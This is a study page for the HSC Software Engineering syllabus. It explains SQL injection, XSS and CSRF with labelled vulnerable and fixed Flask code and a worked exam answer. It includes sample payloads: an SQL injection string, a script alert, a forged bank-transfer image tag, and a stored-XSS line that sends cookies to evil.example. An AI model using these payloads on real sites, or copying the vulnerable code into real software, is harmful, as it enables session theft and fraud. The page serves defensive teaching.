← Module 2: Programming for the Web
Inquiry Question 1: How are secure web applications developed?
Identify and mitigate cross-site scripting (XSS), cross-site request forgery (CSRF) and SQL injection vulnerabilities
A focused answer to the HSC Software Engineering Module 2 dot point on web vulnerabilities. XSS (stored and reflected), CSRF, SQL injection, mitigations for each, the worked example, and the traps markers look for.
Have a quick question? Jump to the Q&A page
What this dot point is asking
NESA wants you to recognise three of the most common web application vulnerabilities, explain how each works, and identify specific developer-side mitigations.
The answer
SQL injection
An attacker submits crafted input that gets concatenated into a SQL query, changing its meaning.
# VULNERABLE
def login(username, password):
query = f"SELECT * FROM users WHERE name = '{username}' AND pass = '{password}'"
return db.execute(query).fetchone()
Submitting ' OR '1'='1 as the password makes the query return the admin row regardless of password.
Mitigation: parameterised queries.
def login(username, password):
row = db.execute(
"SELECT id, pass_hash FROM users WHERE name = ?",
(username,),
).fetchone()
return row if row and bcrypt.checkpw(password.encode(), row["pass_hash"]) else None
The database driver substitutes ? with the value safely. The input can no longer change the query structure.
Cross-site scripting (XSS)
An attacker injects JavaScript into a page that other users load. Categories:
- Stored XSS: the script is saved in the database (a comment, a profile field) and served to every visitor.
- Reflected XSS: the script is in a URL parameter (
/search?q=<script>...</script>), and the page reflects it back without encoding. - DOM-based XSS: the script is introduced client-side via
innerHTMLor similar with user input.
Example - vulnerable rendering:
# VULNERABLE
@app.get("/search")
def search():
q = request.args.get("q", "")
return f"<p>You searched for: {q}</p>"
/search?q=<script>alert(1)</script> runs the script.
Mitigations:
- Output encoding at every HTML-output boundary. Use a templating engine with autoescape on.
- Use
textContentinstead ofinnerHTMLwhen inserting user data via JavaScript. - Content Security Policy (
script-src 'self') blocks inline and third-party scripts. - HttpOnly cookies prevent JavaScript from reading session cookies, limiting the damage of XSS.
Cross-site request forgery (CSRF)
An attacker tricks a logged-in user's browser into sending a request to a target site, abusing the user's session. Example: the user is logged into their bank. They visit an attacker's site, which contains:
<img src="https://bank.example.com/transfer?to=evil&amount=10000">
The browser sends the request with the user's bank cookies. The bank cannot tell the request was not intentional.
Mitigations:
- CSRF tokens: a random token in each form, validated server-side. The attacker's site cannot read the token.
- SameSite cookies: set
SameSite=LaxorStricton session cookies. The browser refuses to send the cookie on cross-site requests. - Check the
OriginorRefererheader: reject state-changing requests that come from another origin. - Use POST for state changes, not GET. GETs in
<img>and<a>tags become CSRF vectors.
Defence in depth
Real applications layer all of these defences. A typical web app:
- Uses an ORM that parameterises all SQL by default (defends against injection).
- Uses a templating engine with autoescape on (defends against XSS).
- Sends
Content-Security-Policy: script-src 'self'(defends against XSS even if encoding is missed). - Issues session cookies with
HttpOnly; Secure; SameSite=Lax(limits XSS damage; defends against CSRF). - Includes a CSRF token in every form (defends against CSRF).
- Validates every input against an allow-list before processing (defends in depth).
Worked code
A small Flask + Jinja2 example showing all three mitigations:
from flask import Flask, request, render_template_string, abort
from flask_wtf.csrf import CSRFProtect
import sqlite3, bcrypt
app = Flask(__name__)
app.secret_key = "..."
CSRFProtect(app)
@app.after_request
def add_security_headers(response):
response.headers["Content-Security-Policy"] = "script-src 'self'"
return response
@app.post("/comment")
def post_comment():
text = (request.form.get("text") or "").strip()
if not (1 <= len(text) <= 1000):
abort(400)
with sqlite3.connect("blog.db") as conn:
conn.execute(
"INSERT INTO comments (text, user_id) VALUES (?, ?)",
(text, current_user_id()),
)
return "ok"
Jinja2 autoescapes any {{ ... }} in templates. CSRFProtect adds a token to every form and validates on POST. The CSP header blocks inline scripts as a backstop. The SQL is parameterised.
Past exam questions, worked
Real questions from past NESA papers on this dot point, with our answer explainer.
2025 HSC6 marksExplain how a stored cross-site scripting (XSS) attack works and describe two mitigations the developer can implement.Show worked answer →
In a stored XSS attack, an attacker submits malicious JavaScript into a form field that the application stores in its database. When other users view a page that displays the stored value, their browsers execute the script.
Example: a comment form on a blog accepts the body <script>fetch('//evil.example/steal?c=' + document.cookie)</script>. The site stores this comment and renders it on the article page. Every visitor's browser runs the script, sending their session cookies to the attacker, who can hijack their accounts.
Mitigation 1: output encoding. When rendering user-controlled data into HTML, encode special characters: < becomes <, > becomes >, & becomes &, " becomes ". The browser treats the value as text, not as HTML or script. Modern frameworks (React, Vue, Jinja2 with autoescape on) do this by default. In raw JavaScript, set element.textContent = userText, not element.innerHTML = userText.
Mitigation 2: Content Security Policy (CSP). Send a Content-Security-Policy header that restricts which scripts the browser will execute. A policy like script-src 'self' blocks any inline script and any script from another origin. Even if a <script> tag slips through the encoding, the browser refuses to run it.
Markers reward a clear attack walkthrough, both mitigations named correctly, and recognising that defence in depth (output encoding plus CSP plus HttpOnly cookies) is stronger than any one control alone.
Related dot points
- Identify the OWASP Top 10 web application security risks and describe mitigations for each
A focused answer to the HSC Software Engineering Module 1 dot point on the OWASP Top 10. Each risk, an example, and a mitigation, the worked broken-access-control example, and the traps markers look for.
- Apply input validation, sanitisation and output encoding to defend against injection attacks
A focused answer to the HSC Software Engineering Module 1 dot point on input validation. Allow-list vs deny-list, sanitisation, output encoding, parameterised queries, the worked SQL injection example, and the traps markers look for.
- Design a relational database schema and write SQL statements to create tables, insert data, query with joins, and update or delete rows
A focused answer to the HSC Software Engineering Module 2 dot point on relational databases. Schema design, primary and foreign keys, SELECT with JOIN, INSERT, UPDATE, DELETE, the worked example, and the traps markers look for.